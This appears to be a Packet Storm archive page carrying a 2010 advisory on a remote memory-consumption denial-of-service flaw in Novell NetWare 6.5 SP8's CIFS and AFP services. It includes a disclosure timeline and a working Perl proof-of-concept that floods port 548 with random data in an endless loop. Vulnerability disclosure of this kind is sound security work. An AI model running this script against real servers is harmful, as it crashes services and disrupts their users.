what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Novell Netware CIFS / AFP Remote Memory Consumption

Novell Netware CIFS / AFP Remote Memory Consumption
Posted Jan 6, 2010
Authored by Francis Provencher

Novell Netware CIFS and AFP suffer from a remote memory consumption denial of service vulnerability. Proof of concept code included.

tags | exploit, remote, denial of service, proof of concept
SHA-256 | c81ff29e3050f2cf6066bdf4dd0a8347ff90f32555917770ae13bc29fda6bdd3

Novell Netware CIFS / AFP Remote Memory Consumption

Change Mirror Download
#####################################################################################

Application:   Novell Netware CIFS And AFP Remote Memory Consumption DoS
           
Platforms:   Novell Netware 6.5 SP8

Crash:   YES
   
Exploitation:   Remote DoS

Date:   2009-12-21

Author:   Francis Provencher (Protek Research Lab's)
             
Blog:   http://protekresearch.blogspot.com/


#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) The Code


#####################################################################################

===============
1) Introduction
===============

Novell,Inc. is a global software and services company based in Waltham, Massachusetts. The company specializes in enterprise operating systems, such as SUSE Linux Enterprise and Novell NetWare; identity, security, and systems management solutions; and collaboration solutions, such as Novell Groupwise and Novell Pulse.

Novell was instrumental in making the Utah Valley a focus for technology and software development. Novell technology contributed to the emergence of local area networks, which displaced the dominant mainframe computing model and changed computing worldwide. Today, a primary focus of the company is on developing open source software for enterprise clients.

(http://en.wikipedia.org/wiki/Novell)

#####################################################################################

============================
2) Report Timeline
============================

2009-12-21 Vendor Contact
2009-12-22 Vendor Recontact
2009-12-29 Vendor Recontact
2010-01-05 Disclosure of this advisory

#####################################################################################

============================
3) Technical details
============================

CIFS.nlm Semantic Agent (Build 163 MP)
Version 3.27 November 13, 2008

AFPTCP.nlm Build 163 SP
Version 3.27 November 13, 2008


The CIFS and AFP protocols have a memory consumption problem when their received lot's of malformed arbitrary requests on their respective
services. Sending arbitrary crafted requests to these services will
consumme all the memory available, create multiples abends and finally crash the whole server..... It could take couple of minutes to hours (Depend of the memory available on the server ).



#####################################################################################

===========
4) The Code
===========

#!/usr/bin/perl
#       Found by Francis Provencher for Protek Research Lab's
#       {PRL} Novell Netware CIFS.nlm Remote Memory Consumption Denial of Service
#       Here is a modified version from the script written by the researcher Jeremy Brown
#       http://jbrownsec.blogspot.com/2009/12/writing-code-that-breaks-code.html
#     

use IO::Socket;
use String::Random;

$target   = $ARGV[0];
$port     = 548;
$protocol = tcp;
$maxsize  =
666;
$random   =
0;

if((!defined($target) || !defined($port) || !defined($protocol) || !defined($maxsize)))
{

     print "usage: $0 <target> \n";
     exit;

}

while(1)
{

$sock = IO::Socket::INET->new(Proto=>$protocol, PeerHost=>$target, PeerPort=>$port)
        or logit();

$rand   = new String::Random;
$random = $rand->randpattern("." x rand($maxsize)) . "\r\n\r\n";

     $sock->send($random);
     close($sock);

}


#####################################################################################
(PRL-2009-27)



__________________________________________________________________
Looking for the perfect gift? Give the gift of Flickr!

http://www.flickr.com/gift/
Login or Register to add favorites

File Archive:

February 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    16 Files
  • 2
    Feb 2nd
    19 Files
  • 3
    Feb 3rd
    0 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    2 Files
  • 7
    Feb 7th
    10 Files
  • 8
    Feb 8th
    25 Files
  • 9
    Feb 9th
    37 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    17 Files
  • 13
    Feb 13th
    20 Files
  • 14
    Feb 14th
    25 Files
  • 15
    Feb 15th
    15 Files
  • 16
    Feb 16th
    6 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    35 Files
  • 20
    Feb 20th
    25 Files
  • 21
    Feb 21st
    18 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close